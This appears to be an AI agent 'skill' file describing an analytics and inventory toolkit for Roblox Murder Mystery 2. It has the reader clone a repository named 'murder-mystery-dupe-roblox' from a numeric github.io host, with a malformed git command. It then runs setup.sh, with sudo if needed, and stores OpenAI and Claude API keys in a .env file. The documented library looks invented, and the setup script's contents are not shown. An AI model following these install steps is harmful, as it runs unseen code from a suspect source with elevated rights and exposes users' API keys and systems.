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Analyze Murder Mystery 2 gameplay data, track inventory, and optimize strategy using this Roblox analytics toolkit
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SKILL.md 표시 중
| name | mm2-analytics-roblox-tracker |
| description | Analyze Murder Mystery 2 gameplay data, track inventory, and optimize strategy using this Roblox analytics toolkit |
| triggers | ["how do I track my MM2 inventory","analyze my Murder Mystery 2 stats","set up the MM2 analytics dashboard","optimize my Roblox MM2 strategy","export my murder mystery 2 data","configure MM2 knife skin tracker","integrate MM2 analytics with my code","troubleshoot MM2 analytics installation"] |
Skill by ara.so — Data Skills collection.
This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights.
The MM2 Analytics Dashboard offers:
chmod +x setup.sh
./setup.sh --install
# Clone the repository
git https://8015238355.github.io
murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
Create a .env file in the project root:
# API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
# Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
# Export Settings
EXPORT_FORMAT=json
LOG_LEVEL=INFO
Create or edit config/profile.yaml:
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"
Run comprehensive analytics on your gameplay data:
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose
Scan and catalog your MM2 inventory:
python3 main.py --mode inventory \
--scan-knife-skins \
--scan-gamepasses \
--output inventory_report.csv
Analyze gameplay patterns and generate strategy recommendations:
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--export strategy_insights.json
Enable real-time gameplay tracking:
python3 main.py --mode live \
--track-performance \
--interval 30 \
--log-level DEBUG
from mm2_analytics import AnalyticsEngine, ProfileLoader
# Load user profile
profile = ProfileLoader.load("mystery_solver_01")
# Initialize analytics engine
engine = AnalyticsEngine(profile)
# Run comprehensive analysis
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_strategy=True
)
# Export results
engine.export(results, format="json", output="stats.json")
from mm2_analytics import InventoryManager
# Initialize inventory manager
inventory = InventoryManager(data_dir="./data/collections")
# Scan for knife skins
knife_skins = inventory.scan_knife_skins(
rarity_filter=["legendary", "ancient"]
)
print(f"Found {len(knife_skins)} knife skins")
# Check collection completeness
completeness = inventory.calculate_completeness()
print(f"Collection {completeness['percentage']}% complete")
# Get missing items
missing = inventory.get_missing_items(category="knife_skins")
from mm2_analytics import StrategyAnalyzer
# Initialize strategy analyzer
analyzer = StrategyAnalyzer()
# Load gameplay history
analyzer.load_history("./data/gameplay_history.json")
# Analyze patterns for sheriff role
sheriff_patterns = analyzer.analyze_role("sheriff", {
"priority": "high_visibility_areas",
"playstyle": "aggressive"
})
# Get win rate by strategy
win_rates = analyzer.get_win_rates_by_strategy()
# Generate recommendations
recommendations = analyzer.recommend_strategy(
current_win_rate=0.65,
target_win_rate=0.75
)
from mm2_analytics import DataVisualizer
# Initialize visualizer
viz = DataVisualizer()
# Create performance dashboard
viz.create_dashboard(
data_source="./data/statistics_2026.json",
charts=["win_loss_ratio", "role_performance", "inventory_value"],
output="dashboard.html"
)
# Generate inventory chart
viz.plot_inventory_distribution(
inventory_data=knife_skins,
group_by="rarity",
save_as="inventory_chart.png"
)
import schedule
import time
from mm2_analytics import AnalyticsEngine, ProfileLoader
def generate_daily_report():
profile = ProfileLoader.load("mystery_solver_01")
engine = AnalyticsEngine(profile)
results = engine.analyze(mode="comprehensive")
engine.export(
results,
format="json",
output=f"daily_report_{time.strftime('%Y%m%d')}.json"
)
print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}")
# Schedule daily report at 11 PM
schedule.every().day.at("23:00").do(generate_daily_report)
while True:
schedule.run_pending()
time.sleep(60)
import os
from mm2_analytics import StrategyAnalyzer, AIIntegration
# Initialize with API keys from environment
ai = AIIntegration(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
analyzer = StrategyAnalyzer()
analyzer.load_history("./data/gameplay_history.json")
# Get AI-powered suggestions
current_stats = analyzer.get_current_stats()
suggestions = ai.generate_suggestions(
role="sheriff",
current_stats=current_stats,
model="claude" # or "openai"
)
print("AI Recommendations:")
for suggestion in suggestions:
print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})")
from mm2_analytics import AnalyticsEngine, ExportManager
engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01"))
results = engine.analyze(mode="comprehensive")
exporter = ExportManager(results)
# Export in multiple formats
formats = ["json", "csv", "yaml", "xml"]
for fmt in formats:
exporter.export(
format=fmt,
output=f"statistics_2026.{fmt}",
include_metadata=True
)
print(f"Exported to statistics_2026.{fmt}")
from mm2_analytics import LiveTracker
# Initialize live tracker
tracker = LiveTracker(
profile="mystery_solver_01",
interval=30,
auto_save=True
)
# Define custom event handlers
@tracker.on_match_complete
def handle_match(match_data):
print(f"Match completed: {match_data['result']}")
print(f"Role: {match_data['role']}")
print(f"Duration: {match_data['duration']}s")
@tracker.on_inventory_change
def handle_inventory(item):
print(f"New item acquired: {item['name']} ({item['rarity']})")
# Start tracking
tracker.start()
Problem: ModuleNotFoundError during import
# Verify Python path
python3 -c "import sys; print(sys.path)"
# Reinstall dependencies
pip install --upgrade -r requirements.txt --user
Problem: Permission denied on setup.sh
# Fix permissions
chmod +x setup.sh
# Run with sudo if needed
sudo ./setup.sh --install
Problem: Profile not found
from mm2_analytics import ProfileLoader
# List available profiles
profiles = ProfileLoader.list_profiles()
print(f"Available profiles: {profiles}")
# Create new profile
ProfileLoader.create_profile(
username="new_user",
template="default"
)
Problem: Corrupted data files
# Validate data integrity
python3 main.py --validate-data --repair
# Reset to defaults
python3 main.py --reset-data --confirm
Problem: AI features not working
import os
# Check environment variables
required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"]
for var in required_vars:
if not os.getenv(var):
print(f"Warning: {var} not set")
# Test API connection
from mm2_analytics import AIIntegration
ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY"))
connection_ok = ai.test_connection()
print(f"API connection: {'OK' if connection_ok else 'FAILED'}")
Problem: Slow analytics processing
from mm2_analytics import AnalyticsEngine
# Enable caching
engine = AnalyticsEngine(
profile=profile,
enable_cache=True,
cache_ttl=3600
)
# Use incremental analysis
results = engine.analyze(
mode="incremental",
since_timestamp="2026-05-15T00:00:00Z"
)
Problem: High memory usage
# Run with memory constraints
python3 main.py --mode analytics \
--max-memory 2GB \
--batch-size 100 \
--streaming-mode
Problem: Invalid export format
from mm2_analytics import ExportManager
# Check supported formats
supported = ExportManager.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")
# Use format validation
exporter = ExportManager(results)
if exporter.validate_format("json"):
exporter.export(format="json", output="stats.json")
from mm2_analytics import DataPipeline, Transformer
# Create custom pipeline
pipeline = DataPipeline()
# Add transformation stages
pipeline.add_stage(Transformer.normalize_timestamps())
pipeline.add_stage(Transformer.filter_by_role("sheriff"))
pipeline.add_stage(Transformer.aggregate_by_date())
pipeline.add_stage(Transformer.calculate_win_rate())
# Process data
raw_data = pipeline.load_from("./data/raw_gameplay.json")
processed = pipeline.execute(raw_data)
pipeline.save_to("./data/processed_gameplay.json", processed)
This skill enables AI coding agents to effectively assist developers in using the MM2 Analytics toolkit for Roblox Murder Mystery 2 data analysis, inventory management, and strategy optimization.